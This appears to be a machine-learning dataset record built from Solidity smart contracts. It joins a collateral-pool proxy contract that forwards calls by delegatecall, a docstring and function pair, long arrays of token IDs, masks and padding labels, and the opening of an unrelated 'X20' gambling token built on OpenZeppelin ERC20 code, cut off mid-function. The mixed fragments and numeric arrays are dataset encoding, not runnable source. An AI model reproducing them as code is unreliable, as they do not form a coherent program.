function setImplementation(address implementation_)public onlyOwner{
implementation = implementation_;
(bool success,) = implementation_.delegatecall(abi.encodeWithSignature("update()"));
require(success);
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
(bool success, bytes memory returnData) = implementation.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
function delegateToViewAndReturn() internal view returns (bytes memory) {
(bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data));
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(add(free_mem_ptr, 0x40), returndatasize) }
}
}
function delegateAndReturn() internal returns (bytes memory) {
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
// File: contracts\CollateralPool\CollateralProxy.sol
pragma solidity =0.5.16;
/**
* @title Erc20Delegator Contract
*/
contract CollateralProxy is CollateralData,baseProxy{
/**
* @dev constructor function , setting contract address.
* oracleAddr FNX oracle contract address
* optionsPriceAddr options price contract address
* ivAddress implied volatility contract address
*/
constructor(address implementation_,address optionsPool)
baseProxy(implementation_) public {
_optionsPool = IOptionsPool(optionsPool);
}
/**
* @dev Transfer colleteral from manager contract to this contract.
* Only manager contract can invoke this function.
*/
function () external payable onlyManager{
}
function getFeeRateAll()public view returns (uint32[] memory){
delegateToViewAndReturn();
}
function getFeeRate(uint256 /*feeType*/)public view returns (uint32){
delegateToViewAndReturn();
}
/**
* @dev set the rate of trasaction fee.
* feeType the transaction fee type
* numerator the numerator of transaction fee .
* denominator thedenominator of transaction fee.
* transaction fee = numerator/denominator;
*/
function setTransactionFee(uint256 /*feeType*/,uint32 /*thousandth*/)public{
delegateAndReturn();
}
function getFeeBalance(address /*settlement*/)public view returns(uint256){
delegateToViewAndReturn();
}
function getAllFeeBalances()public view returns(address[] memory,uint256[] memory){
delegateToViewAndReturn();
}
function redeem(address /*currency*/)public{
delegateAndReturn();
}
function redeemAll()public{
delegateAndReturn();
}
function calculateFee(uint256 /*feeType*/,uint256 /*amount*/)public view returns (uint256){
delegateToViewAndReturn();
}
/**
* @dev An interface for add transaction fee.
* Only manager contract can invoke this function.
* collateral collateral address, also is the coin for fee.
* amount total transaction amount.
* feeType transaction fee type. see TransactionFee contract
*/
function addTransactionFee(address /*collateral*/,uint256 /*amount*/,uint256 /*feeType*/)public returns (uint256) {
delegateAndReturn();
}
/**
* @dev Retrieve user's cost of collateral, priced in USD.
* user input retrieved account
*/
function getUserPayingUsd(address /*user*/)public view returns (uint256){
delegateToViewAndReturn();
}
/**
* @dev Retrieve user's amount of the specified collateral.
* user input retrieved account
* collateral input retrieved collateral coin address
*/
function getUserInputCollateral(address /*user*/,address /*collateral*/)public view returns (uint256){
delegateToViewAndReturn();
}
/**
* @dev Retrieve collateral balance data.
* collateral input retrieved collateral coin address
*/
function getCollateralBalance(address /*collateral*/)public view returns (uint256){
delegateToViewAndReturn();
}
/**
* @dev Opterator user paying data, priced in USD. Only manager contract can modify database.
* user input user account which need add paying amount.
* amount the input paying amount.
*/
function addUserPayingUsd(address /*user*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Opterator user input collateral data. Only manager contract can modify database.
* user input user account which need add input collateral.
* collateral the collateral address.
* amount the input collateral amount.
*/
function addUserInputCollateral(address /*user*/,address /*collateral*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Opterator net worth balance data. Only manager contract can modify database.
* collateral available colleteral address.
* amount collateral net worth increase amount.
*/
function addNetWorthBalance(address /*collateral*/,int256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Opterator collateral balance data. Only manager contract can modify database.
* collateral available colleteral address.
* amount collateral colleteral increase amount.
*/
function addCollateralBalance(address /*collateral*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Substract user paying data,priced in USD. Only manager contract can modify database.
* user user's account.
* amount user's decrease amount.
*/
function subUserPayingUsd(address /*user*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Substract user's collateral balance. Only manager contract can modify database.
* user user's account.
* collateral collateral address.
* amount user's decrease amount.
*/
function subUserInputCollateral(address /*user*/,address /*collateral*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Substract net worth balance. Only manager contract can modify database.
* collateral collateral address.
* amount the decrease amount.
*/
function subNetWorthBalance(address /*collateral*/,int256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Substract collateral balance. Only manager contract can modify database.
* collateral collateral address.
* amount the decrease amount.
*/
function subCollateralBalance(address /*collateral*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev set user paying data,priced in USD. Only manager contract can modify database.
* user user's account.
* amount user's new amount.
*/
function setUserPayingUsd(address /*user*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev set user's collateral balance. Only manager contract can modify database.
* user user's account.
* collateral collateral address.
* amount user's new amount.
*/
function setUserInputCollateral(address /*user*/,address /*collateral*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev set net worth balance. Only manager contract can modify database.
* collateral collateral address.
* amount the new amount.
*/
function setNetWorthBalance(address /*collateral*/,int256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev set collateral balance. Only manager contract can modify database.
* collateral collateral address.
* amount the new amount.
*/
function setCollateralBalance(address /*collateral*/,uint256 /*amount*/)public{
delegateAndReturn();
}
/**
* @dev Operation for transfer user's payback and deduct transaction fee. Only manager contract can invoke this function.
* recieptor the recieptor account.
* settlement the settlement coin address.
* payback the payback amount
* feeType the transaction fee type. see transactionFee contract
*/
function transferPaybackAndFee(address payable /*recieptor*/,address /*settlement*/,uint256 /*payback*/,
uint256 /*feeType*/)public{
delegateAndReturn();
}
function buyOptionsPayfor(address payable /*recieptor*/,address /*settlement*/,uint256 /*settlementAmount*/,uint256 /*allPay*/)public onlyManager{
delegateAndReturn();
}
/**
* @dev Operation for transfer user's payback. Only manager contract can invoke this function.
* recieptor the recieptor account.
* settlement the settlement coin address.
* payback the payback amount
*/
function transferPayback(address payable /*recieptor*/,address /*settlement*/,uint256 /*payback*/)public{
delegateAndReturn();
}
/**
* @dev Operation for transfer user's payback and deduct transaction fee for multiple settlement Coin.
* Specially used for redeem collateral.Only manager contract can invoke this function.
* account the recieptor account.
* redeemWorth the redeem worth, priced in USD.
* tmpWhiteList the settlement coin white list
* colBalances the Collateral balance based for user's input collateral.
* PremiumBalances the premium collateral balance if redeem worth is exceeded user's input collateral.
* prices the collateral prices list.
*/
function transferPaybackBalances(address payable /*account*/,uint256 /*redeemWorth*/,
address[] memory /*tmpWhiteList*/,uint256[] memory /*colBalances*/,
uint256[] memory /*PremiumBalances*/,uint256[] memory /*prices*/)public {
delegateAndReturn();
}
/**
* @dev calculate user's input collateral balance and premium collateral balance.
* Specially used for user's redeem collateral.
* account the recieptor account.
* userTotalWorth the user's total FPTCoin worth, priced in USD.
* tmpWhiteList the settlement coin white list
* _RealBalances the real Collateral balance.
* prices the collateral prices list.
*/
function getCollateralAndPremiumBalances(address /*account*/,uint256 /*userTotalWorth*/,address[] memory /*tmpWhiteList*/,
uint256[] memory /*_RealBalances*/,uint256[] memory /*prices*/) public view returns(uint256[] memory,uint256[] memory){
delegateToViewAndReturn();
}
function getAllRealBalance(address[] memory /*whiteList*/)public view returns(int256[] memory){
delegateToViewAndReturn();
}
function getRealBalance(address /*settlement*/)public view returns(int256){
delegateToViewAndReturn();
}
function getNetWorthBalance(address /*settlement*/)public view returns(uint256){
delegateToViewAndReturn();
}
/**
* @dev The foundation operator want to add some coin to netbalance, which can increase the FPTCoin net worth.
* settlement the settlement coin address which the foundation operator want to transfer in this contract address.
* amount the amount of the settlement coin which the foundation operator want to transfer in this contract address.
*/
function addNetBalance(address /*settlement*/,uint256 /*amount*/) public payable{
delegateAndReturn();
}
/**
* @dev Calculate the collateral pool shared worth.
* The foundation operator will invoke this function frequently
*/
function calSharedPayment(address[] memory /*_whiteList*/) public{
delegateAndReturn();
}
/**
* @dev Set the calculation results of the collateral pool shared worth.
* The foundation operator will invoke this function frequently
* newNetworth Current expired options' net worth
* sharedBalances All unexpired options' shared balance distributed by time.
* firstOption The new first unexpired option's index.
*/
function setSharedPayment(address[] memory /*_whiteList*/,int256[] memory /*newNetworth*/,
int256[] memory /*sharedBalances*/,uint256 /*firstOption*/) public{
delegateAndReturn();
}
} | * @dev Opterator user paying data, priced in USD. Only manager contract can modify database. user input user account which need add paying amount. amount the input paying amount./ | function addUserPayingUsd(address /*user*/,uint256 /*amount*/)public{
delegateAndReturn();
}
| 13,779,833 | [
1,
6179,
7385,
729,
8843,
310,
501,
16,
6205,
72,
316,
587,
9903,
18,
5098,
3301,
6835,
848,
5612,
2063,
18,
225,
729,
810,
729,
2236,
1492,
1608,
527,
8843,
310,
3844,
18,
225,
3844,
326,
810,
8843,
310,
3844,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
527,
1299,
9148,
310,
3477,
72,
12,
2867,
1748,
1355,
5549,
16,
11890,
5034,
1748,
8949,
5549,
13,
482,
95,
203,
3639,
7152,
1876,
990,
5621,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
_ _ _ _
/_/\ /\ \ /\ \ / /\
\ \ \ \ \_\ / \ \ / / \
\ \ \__/ / / / /\ \ \ / / /\ \
\ \__ \/_/ \/_/\ \ \ / / /\ \ \
\/_/\__/\ / / //_/ / \ \ \
_/\/__\ \ / / / \ \ \ \ \ \
/ _/_/\ \ \ / / / _\ \ \ \ \ \
/ / / \ \ \ / / /_/\_\\ \ \___\ \ \
/ / / /_/ // /_____/ / \ \/____\ \ \
\/_/ \_\/ \________/ \_________\/
*/
// DEV :x20.finance
// X20 (x20.finance) is a deflationary and gambling token
// See https://github.com/IshikawaTravis/X10 for more info
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
